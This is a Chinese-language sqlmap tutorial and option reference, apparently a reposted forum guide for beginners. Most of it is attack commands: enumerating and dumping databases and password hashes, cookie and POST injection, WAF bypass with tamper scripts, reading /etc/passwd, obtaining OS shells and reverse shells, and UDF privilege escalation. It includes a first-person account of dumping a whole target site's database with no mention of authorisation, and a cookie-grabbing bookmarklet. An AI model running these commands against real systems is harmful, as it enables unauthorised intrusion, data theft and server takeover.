標籤:
1. 基礎用法: ./sqlmap.py -u “注入地址” -v 1 –dbs // 列舉資料庫./sqlmap.py -u “注入地址” -v 1 –current-db // 當前資料庫./sqlmap.py -u “注入地址” -v 1 –users // 列資料庫使用者./sqlmap.py -u “注入地址” -v 1 –current-user // 目前使用者./sqlmap.py -u “注入地址” -v 1 –tables -D “資料庫” // 列舉資料庫的表名./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “資料庫” // 擷取表的列名./sqlmap.py -u “注入地址” -v 1 –dump -C “欄位,欄位” -T “表名” -D “資料庫” // 擷取表中的資料,包含列 已經開始拖庫了,SQLMAP是非常人性化的,它會將擷取的資料存放區sqlmap/output/中、、、 2. sqlmap post注入我們在使用Sqlmap進行post型注入時,經常會出現請求遺漏導致注入失敗的情況。這裡分享一個小技巧,即結合burpsuite來使用sqlmap,用這種方法進行post注入測試會更準確,操作起來也非常容易。1. 瀏覽器開啟目標地址http:// www.2cto.com /Login.asp2. 配置burp代理(127.0.0.1:8080)以攔截請求3. 點擊login表單的submit按鈕4. 如,這時候Burp會攔截到了我們的登入POST請求5. 把這個post提取複寫為txt, 我這命名為search-test.txt 然後把它放至sqlmap目錄下 6. 運行sqlmap並使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass 這裡參數-r 是讓sqlmap載入我們的post請求rsearch-test.txt,而-p 大家應該比較熟悉,指定注入用的參數。3,sqlmap cookies注入sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″ –dbs –level 22. 預設情況下SQLMAP只支援GET/POST參數的注入測試,但是當使用–level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候將檢查User-agent和Referer,那麼這就很簡單了,我 們直接在原有的基礎上面加上 –level 2 即可利用sqlmap cookies注入突破使用者登入繼續注入先把使用者登陸的cookie拿到吧,在收藏夾添加一個連結cookies屬性:名字自己取javascript:alert(document.cookie),,需要擷取當前cookie的時候,直接點一下這個連結,然後複製一下彈出對話方塊裡的cookie值就搞定了sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”-p是指指定參數注入4. sqlmap遇到url重寫的注入哪裡存在注入就加上 * 號1./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“5.sqlmap 編碼繞waf注入./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼指令碼自行載入 其他基礎:sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #擷取目前使用者名稱sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db #擷取當前資料庫名稱sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables -D “db_name” #列表名sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #欄欄位sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –dump -C “column_name” -T “table_name” -D “db_name” -v 0 #擷取欄位內容 ******************資訊擷取******************sqlmap -u “ –smart –dbms “Mysql” –users #列資料庫使用者 sqlmap -u “ –smart –dbms “Mysql” –dbs#列資料庫 sqlmap -u “ –smart –dbms “Mysql”–passwords #資料庫使用者密碼 sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定使用者資料庫密碼 sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有資料庫所有表 sqlmap -u “ –smart –dbms “Mysql”–privileges #查看許可權 sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定使用者權限 sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是資料庫管理員 sqlmap -u “ –smart –dbms “Mysql” –roles #枚舉資料庫使用者角色 sqlmap -u “ –smart –dbms “Mysql”–udf-inject #匯入使用者自訂函數(擷取系統許可權!) sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出當前庫所有表 sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支援union 注入 sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查詢表記錄 sqlmap -u “ –smart –dbms “Mysql” –union-test #union 語句測試 sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #採用union 注入 sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入 sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入 sqlmap -u “ –smart –dbms “Mysql”-b #擷取banner資訊 sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指紋判別資料庫類型sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“ #指定關鍵詞sqlmap -u “ –smart –dbms “Mysql”–sql-shell #執行指定sql命令 sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #執行系統命令 sqlmap -u “ –smart –dbms “Mysql”–os-shell #系統互動shell sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反彈shell sqlmap -u “ –smart –dbms “Mysql”–reg-read #讀取win系統註冊表 sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #儲存進度 sqlmap -u “ –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢複已儲存進度 注入分法不同,種類不同,來個簡單的分類:1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” 2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”3.cookie類注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2好,區分完畢再來後續的 需要資料庫好:–dbs得到資料庫名稱xxx,需要表: -D xxx –tables得到表名xxxx,需要段:-D xxx -T xxxx –columns得到段內有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump那麼我們來理解一下,-D -T -C 是幹嗎的,當然就是知道其名稱,指定使用其。–dbs –tables –columns 是幹嗎的,當然就是不知道名稱,列出來唄–dump 那自然就是字面意思,類似於匯出資料的行為 其實注入有了上面這幾個命令,妥妥的夠用了,不過還需要繞waf –tamper=”"注入被識別出來是工具,斷開咋辦–user-agent=”"再多牛逼的功能都是慢慢積累出來的,別想一口吃成胖子 好,跑資料庫就是這麼簡單,於是呢來一個稍微有點乾貨的例子:http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷貝post資料,很麻煩,我想讓sqlmap自動跑post注入sqlmap -u “http://www.xxx.com/login.asp” –forms很好,上面的命令成功的幫我跑了post注入,並且找到了post的注入點jjj=123sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs於是我用上面的命令看看資料庫sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba順便看看目前使用者是不是dbasqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a 用了上面的命令 -a能得到什麼呢:自己去看協助吧。 幫你篩選了一下,-a下面的那些命令是用來看使用者,看主機,看許可權的。 後來呢,我發現許可權還是挺高的,同時呢,我跑出來了資料庫名稱kkksqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables同時我找到了網站路徑,然後我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以執行系統命令,同時還發現了牛逼的xpcmdshell –os-shell以及很多牛逼的檔案操作命令–file-xx 這些命令在需要用的時候使用就是了,會給你帶來意想不到的驚喜 與此同時,我發現tables裡面沒有我想要的東西,我也找不到合適的內容,咋辦呢,心一橫,我決定把所有的資料庫內容跑出來自己找,於是我這麼做:sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all然後牛逼的sqlmap就開始跑啊跑,然後緊接著我的蛋就碎了,尼瑪,sqlmap一會就問你一次要不要破解密碼,要不要這個,要不要那個,我和我的小朋友們都想擦你妹夫,功夫不負有心人,我又看見了一個命令 –batch 可以自動選擇sqlmap預設選項 於是,我可以和我的小朋友們玩耍去了,再也不用看著sqlmap拖庫了。 總結下來,協助文檔還是很重要的,多看看,總會有些收穫: 為了避免各位看英文看到吐,大概總結下:Target: 字面意思,目標,那麼就是確定目標的Request: 字面意思,請求,就是定義請求內容的,比如post資料,http頭,cookie注入,http頭汙染等等Optimization:字面意思,調節效能,等等Injection: 字面意思,注入的設定內容基本在這裡,比如指定注入點,指定db,指定系統,等等Detection:基本就是用在確認注入範圍,尋找注入點地區,這些Technique:基本用在確定注入手段,以及攻擊方式Fingerprint:基本用在指紋識別,用的很少Enumeration:枚舉資訊,主要用在注入中,很重要,很常用Brute force:用來爆破,其實主要是枚舉tables columns用的User-defined function injection:現在只有udf提權,以及指定一些自己定義的sqlmap指令碼用,高端使用,求大牛指點File system access主要是檔案讀取,檔案寫入Operating system access 主要用在對系統操作,例如os-shell 以及 後續的串連metasploit 實現後滲透攻擊windows registry access基本就是註冊表操作了General字面意思,綜合的內容,一些特殊的功能實現,我在這裡找到了crawl batch這些非常好用的參數Miscellaneous目測高端應用,還沒怎麼用過,求大神指教 如上面總結的,大概紅字就是常用的命令,剩下的不常用裡面也有很多很不錯,在特殊情況下適用的內容,反正本貼科普而已。 字有點多,想看的菜鳥朋友認真看下來應該會有些收穫,菜鳥們如果有什麼其他的奇技淫巧,還希望分享1、2 共同進步!!SQLMAP中文說明 -D直接直接連接到資料庫 -U網址 - URL = URL目標URL -L使用burp,WebScarab代理日誌解析目標儲存在指定的文字檔 -M BULKFILE掃描多個目標入伍 -R REQUESTFILE負載的HTTP請求從一個檔案 -G讀取Googleurl,傳說中的批量檢測 -C從配置INI檔案configfile中載入選項 要求: 這些選項可以用來指定如何串連到目標URL。 --data=DATA通過POST發送資料串 --cookie=COOKIE 的HTTP Cookie頭 --cookie-urlencode URL編碼產生的cookie注射 --drop-set-cookie忽略從Set-Cookie頭的響應 --user-agent=AGENT HTTP User-Agent頭 --random-agent 隨機播放的HTTP User-Agent頭 --referer=REFERER HTTP Referer頭 --headers=HEADERS HTTP頭分行符號隔開 --auth-type=ATYPE HTTP身分識別驗證類型(基本,摘要或NTLM) --auth-cred=ACRED的HTTP身分識別驗證憑據(使用者名稱:密碼) --auth-cert=ACERT ACERT HTTP認證認證(key_file,cert_file中) --proxy=PROXY HTTP代理串連到目標URL --proxy-cred=PCRED HTTPProxy 驗證憑據(使用者名稱:密碼) --ignore-proxy忽略HTTP代理 --delay=DELAY每個HTTP請求之間的延遲 --timeout=TIMEOUT 等待連線逾時(預設30) --retries=RETRIES 重試連線逾時(預設3) --scope=SCOPE Regex來過濾目標提供代理日誌 --safe-url=SAFURL URL地址訪問測試過程中經常 --safe-freq=SAFREQ訪問之間的一個給定的安全URL SAFREQ測試要求 最佳化: 這些選項可以用於最佳化效能的SqlMap。 -O開啟所有最佳化開關 --predict-output 預測輸出預測常見的查詢輸出 --keep-alive 保持活動使用持久HTTP(S)串連 --null-connection 空串連檢索頁面沒有實際的HTTP響應體長度 --threads=THREADS最大數量的並發HTTP(S)請求(預設為1) 注射: 這些選項可以用來指定哪些參數測試, 提供定製注塑載荷和可選篡改指令碼。 -P TESTPARAMETER可測試參數(S) --dbms=DBMS指定資料庫 --os=OS指定作業系統 --prefix=PREFIX注射有效載荷前置詞字元串 --suffix=SUFFIX注射有效載荷尾碼字串 --tamper=TAMPER篡改注入資料為使用給定的指令碼(S) 檢測: 這些選項可以用來指定如何解析和比較頁面 從HTTP響應時使用盲SQL注入技術的內容。 --level=LEVEL要執行的測試水平等級(1-5,預設為1) --risk=RISK 測試執行的風險(0-3,預設為1) --string=STRING字串匹配字串在查詢時是有效頁面 --regexp=REGEXP的Regex匹配在頁面查詢時是有效 --text-only 純文字比較只對文字內容為基礎的網頁 技巧: 這些選項可以用來調整特定的SQL注入測試 技術。 --technique=TECH SQL注入技術測試(預設博伊斯特) --time-sec=TIMESEC秒的拖延DBMS響應(預設為5) --union-cols=UCOLS列範圍測試 --union-char=UCHAR字元使用暴力破解的列數 指紋: -f, --fingerprint 指紋進行廣泛的DBMS版本指紋 枚舉: 這些選項可以用來列舉的後端資料庫 管理系統中所包含的資訊,結構和資料 表。此外,您可以運行您自己的SQL語句。 -b,--banner資料庫的旗幟 --current-user資料庫目前使用者 --current-db檢索資料庫當前資料庫 --is-dba 檢測如果DBMS目前使用者是DBA --users 枚舉使用者和DBMS使用者 --passwords 密碼枚舉DBMS使用者密碼雜湊 --privileges 特權列舉資料庫使用者的許可權 --roles 角色枚舉資料庫使用者的角色 --dbs枚舉的DBMS資料庫 --tables DBMS資料庫表 --columns DBMS資料庫表列 --schema枚舉資料庫模式 --count檢索表條目的數量 --dump轉儲DBMS資料庫表條目 --dump-all全部轉儲所有的DBMS資料庫表中的條目 --search搜尋列(S),表(S)和/或資料庫名稱(S) -D DBMS資料庫枚舉 -T DBMS資料庫表枚舉 -C DBMS的資料庫表列列舉 -U使用者DBMS使用者枚舉 --exclude-sysdbs排除列舉表時,DBMS系統資料庫 --start=LIMITSTART首先查詢的輸出項檢索 --stop=LIMITSTOP最後查詢的輸出項檢索 --first=FIRSTCHAR首先查詢輸出單詞字元檢索 --last=LASTCHAR最後查詢的輸出單詞字元檢索 --sql-query=QUERY執行查詢的SQL語句 --sql-shell提示下一個互動式SQL外殼 蠻力: 這些選項可以用來運行蠻力檢查的。 --common-tables 共同表檢查存在共同表 --common-columns 共同列檢查存在共同的列 使用者定義的函數注入: 這些選項可以被用來建立使用者自訂功能。 --udf-inject注入使用者自訂功能 --shared-lib=SHLIB本地路徑的共用庫 檔案系統的訪問: 這些選項可以被用來訪問後端資料庫管理 系統底層的檔案系統。 --file-read=RFILE DBMS檔案系統讀取檔案 --file-write=WFILE寫後端的DBMS檔案系統上的本地檔案 --file-dest=DFILE後端資料庫的絕對檔案路徑寫入 作業系統訪問: 這些選項可以被用來訪問後端資料庫管理 系統底層作業系統。 --os-cmd=OSCMD執行作業系統命令 --os-shell提示符下互動式作業系統外殼 --os-pwn提示為一個徹頭徹尾的帶外殼,meterpreter或VNC --os-smbrelay一個點擊提示一個OOB殼,meterpreter或VNC --os-bof預存程序緩衝區溢位剝削 --priv-esc資料庫進程“使用者權限升級 --msf-path=MSFPATH本地路徑Metasploit Framework等3安裝 --tmp-path=TMPPATH遠程絕對路徑的臨時檔案目錄 Windows註冊表的訪問: 這些選項可以被用來訪問後端資料庫管理 系統Windows註冊表。 --reg-read讀Windows登錄機碼值 --reg-add寫一個Windows登錄機碼值資料 --reg-delL刪除Windows註冊表索引值 --reg-key=REGKEY Windows註冊表 --reg-value=REGVAL Windows註冊表索引值 --reg-data=REGDATA Windows註冊表關索引值資料 --reg-type=REGTYPE Windows登錄機碼實值型別 秘書長: 這些選項可以用來設定一些一般性的工作參數。 -s 儲存和恢複在會議檔案中檢索所有資料 -t 登入到一個文字檔中所有的HTTP流量 --batch 一批從不要求使用者輸入,使用的預設行為 --charset=CHARSET字元編碼,用於資料檢索 --eta顯示預計到達時間為每個輸出 --flush-session 沖洗會議會話檔案 --fresh-queries在會議檔案中儲存的查詢結果 --save 配置INI檔案儲存選項 --update更新的SqlMap 雜項: --beep SQL注入發現 --check-payload 檢查有效載荷的IDS檢測測試 --cleanup清理SqlMap特定的UDF和表的DBMS --forms解析和測試形式的目標URL --gpage=GOOGLEPAGE使用Google從指定的頁碼dork結果 --mobile通過HTTP User-Agent頭 --page-rank顯示網頁排名(PR)為Google dork結果 --parse-errors解析DBMS響應頁面的錯誤資訊 --replicate複製倒入一個SQLite3資料庫中的資料 --tor的使用預設的Tor(Vidalia的/ Privoxy的/ Polipo即可)Proxy 位址 --wizard嚮導為初學者使用者簡單的嚮導介面
sqlmap 使用方法